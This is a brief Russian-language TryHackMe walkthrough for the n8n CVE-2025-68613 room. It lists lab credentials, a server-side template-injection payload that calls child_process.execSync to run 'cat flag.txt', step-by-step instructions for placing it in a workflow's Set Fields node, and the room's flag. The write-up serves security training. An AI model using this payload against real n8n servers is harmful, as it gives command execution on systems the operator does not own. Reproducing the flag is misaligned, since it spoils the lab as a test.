TryHackMe Room: n8n: CVE-2025-68613

Игрок: J4ck3LSyN

Хост: ...

Имя пользователя: [email protected]

Пароль: Try12345!

Методология

Пейлоад: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} Пейлоад 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. Получите доступ к атакующей машине.
2. Start New
3. Нажмите Add First Step, дайте правой боковой панели открыться и добавьте Manual Trigger.
4. Затем добавьте опцию Set Fields.
5. Добавьте поле с именем pwn и пейлоад.
6. Выполните и взломайте.
7. Измените пейлоад на выполнение cat flag.txt — Флаг: THM{n8n_exposed_workflow}